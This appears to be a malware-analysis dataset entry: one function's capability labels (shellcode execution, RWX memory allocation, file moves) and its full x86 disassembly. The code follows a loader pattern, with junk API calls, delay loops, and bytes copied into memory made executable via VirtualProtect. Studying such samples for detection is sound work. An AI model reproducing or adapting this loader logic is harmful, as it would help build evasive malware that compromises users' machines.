Function at 0x4050c7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20fc
call fcn.004101c0
push ebx
push esi
xor esi, esi
cmp dword [0xd53cb8], 0x5b1
push edi
jne 0x405196
push esi
lea eax, [ebp - 0x8f8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x404954
push esi
call fcn.00405ef5
push esi
call fcn.00406634
add esp, 0xc
push esi
push esi
push esi
push esi
call fcn.004061ac
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404d23
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404d46
fstp st(0)
push esi
call fcn.00405b80
pop ecx
push esi
push esi
call fcn.00406250
push esi
push esi
call fcn.00405b8b
push esi
call fcn.00405cbd
add esp, 0x10
mov dword [esp], esi
call fcn.00404d79
fstp st(0)
push esi
call fcn.00406c0a
add dword [0xd53cb8], 0x1134b
push dword [0xd53cb8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0xd53cb8]
mov dword [0xd52c0c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0xd53cb8], esi
jbe 0x405220
cmp dword [0xd53cb8], 0xa8
mov eax, dword [0xd53cbc]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xd52c0c]
mov byte [ecx + edi], al
jne 0x405217
push esi
lea eax, [ebp - 0xcf8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x4f8]
push eax
push 0x40495c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0xd53cb8]
jb 0x4051cf
xor ebx, ebx
mov eax, dword [0xd53cb8]
add eax, ebx
cmp eax, 0xe
jne 0x4052f5
push 0x40497c
push 0x4049a0
push 0x4049ac
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
lea eax, [ebp - 0x4f8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x4049b8
push esi
call dword [sym.imp.USER32.dll_LoadBitmapA]
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x44], ax
lea edi, [ebp - 0x42]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x10f8]
push eax
push 0x4049c0
lea eax, [ebp - 0x44]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x404a74
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc ebx
cmp ebx, 0x39621
jl 0x405222
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, 0x206d47
jg 0x40532c
inc ebx
cmp ebx, 0x4f6a4
jl 0x40530a
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x405331
call fcn.00405009
push esi
call edi
cmp ebx, 0x26
jne 0x40535d
call fcn.004050ad
inc ebx
cmp ebx, 0x6753f
jl 0x405350
push 0x7b
pop ebx
cmp dword [0xd53cb8], 0x86
jne 0x4053fc
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ebp - 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [ebp - 0x18f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x404a8c
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x404ab0
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x404ad8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x20f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x405369
call fcn.00404dbd
pop edi
pop esi
pop ebx
leave
ret